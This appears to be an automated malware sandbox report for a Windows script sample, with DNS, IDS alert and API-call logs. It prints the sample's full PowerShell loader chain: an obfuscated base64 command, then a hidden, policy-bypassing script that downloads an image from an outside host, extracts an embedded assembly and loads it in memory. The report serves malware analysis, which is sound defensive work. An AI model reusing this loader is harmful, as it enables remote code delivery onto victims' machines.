Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Nov. 2, 2023, 10:05 a.m.	Nov. 2, 2023, 10:09 a.m.

Size	37.4KB
Type	Little-endian UTF-16 Unicode text, with very long lines, with CRLF, CR line terminators
MD5	`f757a1a6ca3595f7219e80540bcbbf52`
SHA256	`28024345d22d64185c002c2cb1cd5b10d0d6dc66f540caccf9509af65f379ec8`
CRC32	`2BE947B5`
ssdeep	`768:UjdU398i8X8nkWEkzkVR8NwWu9vLkqSvNFk84laR0wMhvpY4buP9:UjdU3NkWEkzkVNWu9ovNFfF4ZrbuP9`
Yara	Javascript_ActiveXObject - Use ActiveXObject JavaScript

wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\1stANzasWQA435786990Mqa9.js
1156
- cscript.exe "C:\Windows\System32\cscript.exe" C:\Users\test22\AppData\Local\Temp\ZtZrXNAbFDXYomOuLGEMSiBJOBDoapJNRAmytqVsfxPgsEVXFUaakNCAHFIQYATzzYtnzWAoKyvemypxhhmSPkLCuqUWYhWaIBRvZCENNviwxaZppSGgXcFgmObRIIpEXPkYtyuuQZasSYOQjlbLDd.vbs
  2184
  - powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'JzUbPÇKuBpzUbPÇKuG0zUbPÇKuYQBnzUbPÇKuGUzUbPÇKuVQByzUbPÇKuGwzUbPÇKuIzUbPÇKuzUbPÇKu9zUbPÇKuCzUbPÇKuzUbPÇKuJwBozUbPÇKuHQzUbPÇKudzUbPÇKuBwzUbPÇKuHMzUbPÇKuOgzUbPÇKuvzUbPÇKuC8zUbPÇKuaQBtzUbPÇKuGEzUbPÇKuZwBlzUbPÇKuHUzUbPÇKuczUbPÇKuBszUbPÇKuG8zUbPÇKuYQBkzUbPÇKuC4zUbPÇKuaQBvzUbPÇKuC8zUbPÇKuaQBizUbPÇKuC8zUbPÇKuVwBKzUbPÇKuHYzUbPÇKuZQBYzUbPÇKuDczUbPÇKuMQBhzUbPÇKuGczUbPÇKubQBPzUbPÇKuFEzUbPÇKuNgBHzUbPÇKuHczUbPÇKuXwzUbPÇKuxzUbPÇKuDYzUbPÇKuOQzUbPÇKu4zUbPÇKuDczUbPÇKuNgzUbPÇKuyzUbPÇKuDYzUbPÇKuNzUbPÇKuzUbPÇKuyzUbPÇKuC4zUbPÇKuagBwzUbPÇKuGczUbPÇKuJwzUbPÇKu7zUbPÇKuCQzUbPÇKudwBlzUbPÇKuGIzUbPÇKuQwBszUbPÇKuGkzUbPÇKuZQBuzUbPÇKuHQzUbPÇKuIzUbPÇKuzUbPÇKu9zUbPÇKuCzUbPÇKuzUbPÇKuTgBlzUbPÇKuHczUbPÇKuLQBPzUbPÇKuGIzUbPÇKuagBlzUbPÇKuGMzUbPÇKudzUbPÇKuzUbPÇKugzUbPÇKuFMzUbPÇKueQBzzUbPÇKuHQzUbPÇKuZQBtzUbPÇKuC4zUbPÇKuTgBlzUbPÇKuHQzUbPÇKuLgBXzUbPÇKuGUzUbPÇKuYgBDzUbPÇKuGwzUbPÇKuaQBlzUbPÇKuG4zUbPÇKudzUbPÇKuzUbPÇKu7zUbPÇKuCQzUbPÇKuaQBtzUbPÇKuGEzUbPÇKuZwBlzUbPÇKuEIzUbPÇKueQB0zUbPÇKuGUzUbPÇKucwzUbPÇKugzUbPÇKuD0zUbPÇKuIzUbPÇKuzUbPÇKukzUbPÇKuHczUbPÇKuZQBizUbPÇKuEMzUbPÇKubzUbPÇKuBpzUbPÇKuGUzUbPÇKubgB0zUbPÇKuC4zUbPÇKuRzUbPÇKuBvzUbPÇKuHczUbPÇKubgBszUbPÇKuG8zUbPÇKuYQBkzUbPÇKuEQzUbPÇKuYQB0zUbPÇKuGEzUbPÇKuKzUbPÇKuzUbPÇKukzUbPÇKuGkzUbPÇKubQBhzUbPÇKuGczUbPÇKuZQBVzUbPÇKuHIzUbPÇKubzUbPÇKuzUbPÇKupzUbPÇKuDszUbPÇKuJzUbPÇKuBpzUbPÇKuG0zUbPÇKuYQBnzUbPÇKuGUzUbPÇKuVzUbPÇKuBlzUbPÇKuHgzUbPÇKudzUbPÇKuzUbPÇKugzUbPÇKuD0zUbPÇKuIzUbPÇKuBbzUbPÇKuFMzUbPÇKueQBzzUbPÇKuHQzUbPÇKuZQBtzUbPÇKuC4zUbPÇKuVzUbPÇKuBlzUbPÇKuHgzUbPÇKudzUbPÇKuzUbPÇKuuzUbPÇKuEUzUbPÇKubgBjzUbPÇKuG8zUbPÇKuZzUbPÇKuBpzUbPÇKuG4zUbPÇKuZwBdzUbPÇKuDozUbPÇKuOgBVzUbPÇKuFQzUbPÇKuRgzUbPÇKu4zUbPÇKuC4zUbPÇKuRwBlzUbPÇKuHQzUbPÇKuUwB0zUbPÇKuHIzUbPÇKuaQBuzUbPÇKuGczUbPÇKuKzUbPÇKuzUbPÇKukzUbPÇKuGkzUbPÇKubQBhzUbPÇKuGczUbPÇKuZQBCzUbPÇKuHkzUbPÇKudzUbPÇKuBlzUbPÇKuHMzUbPÇKuKQzUbPÇKu7zUbPÇKuCQzUbPÇKucwB0zUbPÇKuGEzUbPÇKucgB0zUbPÇKuEYzUbPÇKubzUbPÇKuBhzUbPÇKuGczUbPÇKuIzUbPÇKuzUbPÇKu9zUbPÇKuCzUbPÇKuzUbPÇKuJwzUbPÇKu8zUbPÇKuDwzUbPÇKuQgBBzUbPÇKuFMzUbPÇKuRQzUbPÇKu2zUbPÇKuDQzUbPÇKuXwBTzUbPÇKuFQzUbPÇKuQQBSzUbPÇKuFQzUbPÇKuPgzUbPÇKu+zUbPÇKuCczUbPÇKuOwzUbPÇKukzUbPÇKuGUzUbPÇKubgBkzUbPÇKuEYzUbPÇKubzUbPÇKuBhzUbPÇKuGczUbPÇKuIzUbPÇKuzUbPÇKu9zUbPÇKuCzUbPÇKuzUbPÇKuJwzUbPÇKu8zUbPÇKuDwzUbPÇKuQgBBzUbPÇKuFMzUbPÇKuRQzUbPÇKu2zUbPÇKuDQzUbPÇKuXwBFzUbPÇKuE4zUbPÇKuRzUbPÇKuzUbPÇKu+zUbPÇKuD4zUbPÇKuJwzUbPÇKu7zUbPÇKuCQzUbPÇKucwB0zUbPÇKuGEzUbPÇKucgB0zUbPÇKuEkzUbPÇKubgBkzUbPÇKuGUzUbPÇKuezUbPÇKuzUbPÇKugzUbPÇKuD0zUbPÇKuIzUbPÇKuzUbPÇKukzUbPÇKuGkzUbPÇKubQBhzUbPÇKuGczUbPÇKuZQBUzUbPÇKuGUzUbPÇKuezUbPÇKuB0zUbPÇKuC4zUbPÇKuSQBuzUbPÇKuGQzUbPÇKuZQB4zUbPÇKuE8zUbPÇKuZgzUbPÇKuozUbPÇKuCQzUbPÇKucwB0zUbPÇKuGEzUbPÇKucgB0zUbPÇKuEYzUbPÇKubzUbPÇKuBhzUbPÇKuGczUbPÇKuKQzUbPÇKu7zUbPÇKuCQzUbPÇKuZQBuzUbPÇKuGQzUbPÇKuSQBuzUbPÇKuGQzUbPÇKuZQB4zUbPÇKuCzUbPÇKuzUbPÇKuPQzUbPÇKugzUbPÇKuCQzUbPÇKuaQBtzUbPÇKuGEzUbPÇKuZwBlzUbPÇKuFQzUbPÇKuZQB4zUbPÇKuHQzUbPÇKuLgBJzUbPÇKuG4zUbPÇKuZzUbPÇKuBlzUbPÇKuHgzUbPÇKuTwBmzUbPÇKuCgzUbPÇKuJzUbPÇKuBlzUbPÇKuG4zUbPÇKuZzUbPÇKuBGzUbPÇKuGwzUbPÇKuYQBnzUbPÇKuCkzUbPÇKuOwzUbPÇKukzUbPÇKuHMzUbPÇKudzUbPÇKuBhzUbPÇKuHIzUbPÇKudzUbPÇKuBJzUbPÇKuG4zUbPÇKuZzUbPÇKuBlzUbPÇKuHgzUbPÇKuIzUbPÇKuzUbPÇKutzUbPÇKuGczUbPÇKuZQzUbPÇKugzUbPÇKuDzUbPÇKuzUbPÇKuIzUbPÇKuzUbPÇKutzUbPÇKuGEzUbPÇKubgBkzUbPÇKuCzUbPÇKuzUbPÇKuJzUbPÇKuBlzUbPÇKuG4zUbPÇKuZzUbPÇKuBJzUbPÇKuG4zUbPÇKuZzUbPÇKuBlzUbPÇKuHgzUbPÇKuIzUbPÇKuzUbPÇKutzUbPÇKuGczUbPÇKudzUbPÇKuzUbPÇKugzUbPÇKuCQzUbPÇKucwB0zUbPÇKuGEzUbPÇKucgB0zUbPÇKuEkzUbPÇKubgBkzUbPÇKuGUzUbPÇKuezUbPÇKuzUbPÇKu7zUbPÇKuCQzUbPÇKucwB0zUbPÇKuGEzUbPÇKucgB0zUbPÇKuEkzUbPÇKubgBkzUbPÇKuGUzUbPÇKuezUbPÇKuzUbPÇKugzUbPÇKuCszUbPÇKuPQzUbPÇKugzUbPÇKuCQzUbPÇKucwB0zUbPÇKuGEzUbPÇKucgB0zUbPÇKuEYzUbPÇKubzUbPÇKuBhzUbPÇKuGczUbPÇKuLgBMzUbPÇKuGUzUbPÇKubgBnzUbPÇKuHQzUbPÇKuazUbPÇKuzUbPÇKu7zUbPÇKuCQzUbPÇKuYgBhzUbPÇKuHMzUbPÇKuZQzUbPÇKu2zUbPÇKuDQzUbPÇKuTzUbPÇKuBlzUbPÇKuG4zUbPÇKuZwB0zUbPÇKuGgzUbPÇKuIzUbPÇKuzUbPÇKu9zUbPÇKuCzUbPÇKuzUbPÇKuJzUbPÇKuBlzUbPÇKuG4zUbPÇKuZzUbPÇKuBJzUbPÇKuG4zUbPÇKuZzUbPÇKuBlzUbPÇKuHgzUbPÇKuIzUbPÇKuzUbPÇKutzUbPÇKuCzUbPÇKuzUbPÇKuJzUbPÇKuBzzUbPÇKuHQzUbPÇKuYQByzUbPÇKuHQzUbPÇKuSQBuzUbPÇKuGQzUbPÇKuZQB4zUbPÇKuDszUbPÇKuJzUbPÇKuBizUbPÇKuGEzUbPÇKucwBlzUbPÇKuDYzUbPÇKuNzUbPÇKuBDzUbPÇKuG8zUbPÇKubQBtzUbPÇKuGEzUbPÇKubgBkzUbPÇKuCzUbPÇKuzUbPÇKuPQzUbPÇKugzUbPÇKuCQzUbPÇKuaQBtzUbPÇKuGEzUbPÇKuZwBlzUbPÇKuFQzUbPÇKuZQB4zUbPÇKuHQzUbPÇKuLgBTzUbPÇKuHUzUbPÇKuYgBzzUbPÇKuHQzUbPÇKucgBpzUbPÇKuG4zUbPÇKuZwzUbPÇKuozUbPÇKuCQzUbPÇKucwB0zUbPÇKuGEzUbPÇKucgB0zUbPÇKuEkzUbPÇKubgBkzUbPÇKuGUzUbPÇKuezUbPÇKuzUbPÇKuszUbPÇKuCzUbPÇKuzUbPÇKuJzUbPÇKuBizUbPÇKuGEzUbPÇKucwBlzUbPÇKuDYzUbPÇKuNzUbPÇKuBMzUbPÇKuGUzUbPÇKubgBnzUbPÇKuHQzUbPÇKuazUbPÇKuzUbPÇKupzUbPÇKuDszUbPÇKuJzUbPÇKuBjzUbPÇKuG8zUbPÇKubQBtzUbPÇKuGEzUbPÇKubgBkzUbPÇKuEIzUbPÇKueQB0zUbPÇKuGUzUbPÇKucwzUbPÇKugzUbPÇKuD0zUbPÇKuIzUbPÇKuBbzUbPÇKuFMzUbPÇKueQBzzUbPÇKuHQzUbPÇKuZQBtzUbPÇKuC4zUbPÇKuQwBvzUbPÇKuG4zUbPÇKudgBlzUbPÇKuHIzUbPÇKudzUbPÇKuBdzUbPÇKuDozUbPÇKuOgBGzUbPÇKuHIzUbPÇKubwBtzUbPÇKuEIzUbPÇKuYQBzzUbPÇKuGUzUbPÇKuNgzUbPÇKu0zUbPÇKuFMzUbPÇKudzUbPÇKuByzUbPÇKuGkzUbPÇKubgBnzUbPÇKuCgzUbPÇKuJzUbPÇKuBizUbPÇKuGEzUbPÇKucwBlzUbPÇKuDYzUbPÇKuNzUbPÇKuBDzUbPÇKuG8zUbPÇKubQBtzUbPÇKuGEzUbPÇKubgBkzUbPÇKuCkzUbPÇKuOwzUbPÇKukzUbPÇKuGwzUbPÇKubwBhzUbPÇKuGQzUbPÇKuZQBkzUbPÇKuEEzUbPÇKucwBzzUbPÇKuGUzUbPÇKubQBizUbPÇKuGwzUbPÇKueQzUbPÇKugzUbPÇKuD0zUbPÇKuIzUbPÇKuBbzUbPÇKuFMzUbPÇKueQBzzUbPÇKuHQzUbPÇKuZQBtzUbPÇKuC4zUbPÇKuUgBlzUbPÇKuGYzUbPÇKubzUbPÇKuBlzUbPÇKuGMzUbPÇKudzUbPÇKuBpzUbPÇKuG8zUbPÇKubgzUbPÇKuuzUbPÇKuEEzUbPÇKucwBzzUbPÇKuGUzUbPÇKubQBizUbPÇKuGwzUbPÇKueQBdzUbPÇKuDozUbPÇKuOgBMzUbPÇKuG8zUbPÇKuYQBkzUbPÇKuCgzUbPÇKuJzUbPÇKuBjzUbPÇKuG8zUbPÇKubQBtzUbPÇKuGEzUbPÇKubgBkzUbPÇKuEIzUbPÇKueQB0zUbPÇKuGUzUbPÇKucwzUbPÇKupzUbPÇKuDszUbPÇKuJzUbPÇKuB0zUbPÇKuHkzUbPÇKuczUbPÇKuBlzUbPÇKuCzUbPÇKuzUbPÇKuPQzUbPÇKugzUbPÇKuCQzUbPÇKubzUbPÇKuBvzUbPÇKuGEzUbPÇKuZzUbPÇKuBlzUbPÇKuGQzUbPÇKuQQBzzUbPÇKuHMzUbPÇKuZQBtzUbPÇKuGIzUbPÇKubzUbPÇKuB5zUbPÇKuC4zUbPÇKuRwBlzUbPÇKuHQzUbPÇKuVzUbPÇKuB5zUbPÇKuHzUbPÇKuzUbPÇKuZQzUbPÇKuozUbPÇKuCczUbPÇKuRgBpzUbPÇKuGIzUbPÇKuZQByzUbPÇKuC4zUbPÇKuSzUbPÇKuBvzUbPÇKuG0zUbPÇKuZQzUbPÇKunzUbPÇKuCkzUbPÇKuOwzUbPÇKukzUbPÇKuG0zUbPÇKuZQB0zUbPÇKuGgzUbPÇKubwBkzUbPÇKuCzUbPÇKuzUbPÇKuPQzUbPÇKugzUbPÇKuCQzUbPÇKudzUbPÇKuB5zUbPÇKuHzUbPÇKuzUbPÇKuZQzUbPÇKuuzUbPÇKuEczUbPÇKuZQB0zUbPÇKuE0zUbPÇKuZQB0zUbPÇKuGgzUbPÇKubwBkzUbPÇKuCgzUbPÇKuJwBWzUbPÇKuEEzUbPÇKuSQzUbPÇKunzUbPÇKuCkzUbPÇKuLgBJzUbPÇKuG4zUbPÇKudgBvzUbPÇKuGszUbPÇKuZQzUbPÇKuozUbPÇKuCQzUbPÇKubgB1zUbPÇKuGwzUbPÇKubzUbPÇKuzUbPÇKuszUbPÇKuCzUbPÇKuzUbPÇKuWwBvzUbPÇKuGIzUbPÇKuagBlzUbPÇKuGMzUbPÇKudzUbPÇKuBbzUbPÇKuF0zUbPÇKuXQzUbPÇKugzUbPÇKuCgzUbPÇKuJwBkzUbPÇKuEgzUbPÇKuazUbPÇKuzUbPÇKuwzUbPÇKuEwzUbPÇKubQBWzUbPÇKuHUzUbPÇKuYgzUbPÇKuzzUbPÇKuHzUbPÇKuzUbPÇKueQBZzUbPÇKuFYzUbPÇKuYwzUbPÇKuxzUbPÇKuE4zUbPÇKuRzUbPÇKuBNzUbPÇKuHkzUbPÇKuTQBTzUbPÇKuDkzUbPÇKubzUbPÇKuBizUbPÇKuEczUbPÇKubzUbPÇKuBtzUbPÇKuEwzUbPÇKuegBJzUbPÇKuHgzUbPÇKuTQBpzUbPÇKuDQzUbPÇKuegBNzUbPÇKuFQzUbPÇKuRQB1zUbPÇKuE4zUbPÇKuVzUbPÇKuBjzUbPÇKuHgzUbPÇKuTzUbPÇKuBqzUbPÇKuGMzUbPÇKudwBNzUbPÇKuFMzUbPÇKuOzUbPÇKuB2zUbPÇKuE8zUbPÇKubgBCzUbPÇKuDzUbPÇKuzUbPÇKuZzUbPÇKuBHzUbPÇKuGczUbPÇKuPQzUbPÇKunzUbPÇKuCzUbPÇKuzUbPÇKuLzUbPÇKuzUbPÇKugzUbPÇKuCczUbPÇKuJwzUbPÇKugzUbPÇKuCwzUbPÇKuIzUbPÇKuzUbPÇKunzUbPÇKuDIzUbPÇKuJwzUbPÇKugzUbPÇKuCwzUbPÇKuIzUbPÇKuzUbPÇKunzUbPÇKuEYzUbPÇKuaQByzUbPÇKuGUzUbPÇKuZgBvzUbPÇKuHgzUbPÇKucwzUbPÇKunzUbPÇKuCzUbPÇKuzUbPÇKuLzUbPÇKuzUbPÇKugzUbPÇKuCczUbPÇKuMQzUbPÇKunzUbPÇKuCzUbPÇKuzUbPÇKuLzUbPÇKuzUbPÇKugzUbPÇKuCczUbPÇKuQwzUbPÇKu6zUbPÇKuFwzUbPÇKuVwBpzUbPÇKuG4zUbPÇKuZzUbPÇKuBvzUbPÇKuHczUbPÇKucwBczUbPÇKuFQzUbPÇKuZQBtzUbPÇKuHzUbPÇKuzUbPÇKuXzUbPÇKuzUbPÇKunzUbPÇKuCwzUbPÇKuIzUbPÇKuzUbPÇKunzUbPÇKuEYzUbPÇKuaQByzUbPÇKuGUzUbPÇKuZgBvzUbPÇKuHgzUbPÇKucwzUbPÇKunzUbPÇKuCkzUbPÇKuKQzUbPÇKu=';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('zUbPÇKu','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
    2332
    - powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://imageupload.io/ib/WJveX71agmOQ6Gw_1698762642.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LmVub3pyYVc1NDMyMS9lbGlmLzIxMi4zMTEuNTcxLjcwMS8vOnB0dGg=' , '' , '2' , 'Firefoxs' , '1' , 'C:\Windows\Temp\', 'Firefoxs'))"
      2436

Name	Response	Post-Analysis Lookup
paste.ee	A 104.21.84.67 A 172.67.187.200	104.21.84.67
imageupload.io	A 104.21.83.102 A 172.67.222.26	172.67.222.26

IP Address	Status	Action
104.21.84.67	Active	Moloch
164.124.101.2	Active	Moloch
172.67.222.26	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.103:49163 -> 104.21.84.67:443	2034978	ET POLICY Pastebin-style Service (paste .ee) in TLS SNI	Potential Corporate Privacy Violation
TCP 192.168.56.103:49163 -> 104.21.84.67:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.103:49169 -> 172.67.222.26:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLSv1 192.168.56.103:49163 104.21.84.67:443	C=US, O=Google Trust Services LLC, CN=GTS CA 1P5	CN=paste.ee	75:09:97:90:38:ad:dd:cc:0d:1b:d8:8b:02:ab:5d:a9:3b:7a:1f:1d
TLSv1 192.168.56.103:49169 172.67.222.26:443	C=US, O=Google Trust Services LLC, CN=GTS CA 1P5	CN=imageupload.io	b1:21:d8:81:60:0d:67:7c:14:72:94:30:ff:a0:2d:d7:b8:50:dd:46

Queries for the computername (13 events)

Time & API	Arguments	Status	Return
GetComputerNameW Nov. 2, 2023, 10:05 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 2, 2023, 10:05 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 2, 2023, 10:05 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 2, 2023, 10:05 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Nov. 2, 2023, 10:05 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 2, 2023, 10:05 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 2, 2023, 10:05 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 2, 2023, 10:05 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 2, 2023, 10:05 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 2, 2023, 10:05 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Nov. 2, 2023, 10:05 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 2, 2023, 10:05 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Nov. 2, 2023, 10:05 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Nov. 2, 2023, 10:05 a.m.			0	0
IsDebuggerPresent Nov. 2, 2023, 10:05 a.m.			0	0

Command line console output was observed (20 events)

Time & API	Arguments	Status	Return
WriteConsoleW Nov. 2, 2023, 10:05 a.m.	buffer: Microsoft (R) Windows Script Host Version 5.8 Copyright (C) Microsoft Corporation. All rights reserved. console_handle: 0x00000007	1	1
WriteConsoleW Nov. 2, 2023, 10:05 a.m.	buffer: True console_handle: 0x00000013	1	1
WriteConsoleW Nov. 2, 2023, 10:05 a.m.	buffer: Exception calling "Invoke" with "2" argument(s): "Could not load file or assemb console_handle: 0x00000023	1	1
WriteConsoleW Nov. 2, 2023, 10:05 a.m.	buffer: ly 'System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089' console_handle: 0x0000002f	1	1
WriteConsoleW Nov. 2, 2023, 10:05 a.m.	buffer: or one of its dependencies. The system cannot find the file specified." console_handle: 0x0000003b	1	1
WriteConsoleW Nov. 2, 2023, 10:05 a.m.	buffer: At line:1 char:785 console_handle: 0x00000047	1	1
WriteConsoleW Nov. 2, 2023, 10:05 a.m.	buffer: + $imageUrl = 'https://imageupload.io/ib/WJveX71agmOQ6Gw_1698762642.jpg';$webCl console_handle: 0x00000053	1	1
WriteConsoleW Nov. 2, 2023, 10:05 a.m.	buffer: ient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($i console_handle: 0x0000005f	1	1
WriteConsoleW Nov. 2, 2023, 10:05 a.m.	buffer: mageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$star console_handle: 0x0000006b	1	1
WriteConsoleW Nov. 2, 2023, 10:05 a.m.	buffer: tFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText console_handle: 0x00000077	1	1
WriteConsoleW Nov. 2, 2023, 10:05 a.m.	buffer: .IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 console_handle: 0x00000083	1	1
WriteConsoleW Nov. 2, 2023, 10:05 a.m.	buffer: -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length console_handle: 0x0000008f	1	1
WriteConsoleW Nov. 2, 2023, 10:05 a.m.	buffer: = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $b console_handle: 0x0000009b	1	1
WriteConsoleW Nov. 2, 2023, 10:05 a.m.	buffer: ase64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command) console_handle: 0x000000a7	1	1
WriteConsoleW Nov. 2, 2023, 10:05 a.m.	buffer: ;$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $l console_handle: 0x000000b3	1	1
WriteConsoleW Nov. 2, 2023, 10:05 a.m.	buffer: oadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke <<< console_handle: 0x000000bf	1	1
WriteConsoleW Nov. 2, 2023, 10:05 a.m.	buffer: < ($null, [object[]] ('dHh0LmVub3pyYVc1NDMyMS9lbGlmLzIxMi4zMTEuNTcxLjcwMS8vOnB0 console_handle: 0x000000cb	1	1
WriteConsoleW Nov. 2, 2023, 10:05 a.m.	buffer: dGg=' , '' , '2' , 'Firefoxs' , '1' , 'C:\Windows\Temp\', 'Firefoxs')) console_handle: 0x000000d7	1	1
WriteConsoleW Nov. 2, 2023, 10:05 a.m.	buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException console_handle: 0x000000e3	1	1
WriteConsoleW Nov. 2, 2023, 10:05 a.m.	buffer: + FullyQualifiedErrorId : DotNetMethodTargetInvocation console_handle: 0x000000ef	1	1

Uses Windows APIs to generate a cryptographic key (50 out of 86 events)

Time & API	Arguments	Status	Return
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006027a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00602820 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00602820 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00602820 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006030a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006030a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006030a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006030a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006030a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006030a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00602820 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00602820 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00602820 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00602960 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00602960 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00602960 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00603160 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00602960 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00602960 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00602960 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00602960 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00602960 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00602960 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00602960 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006029e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Nov. 2, 2023, 10:05 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006029e0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
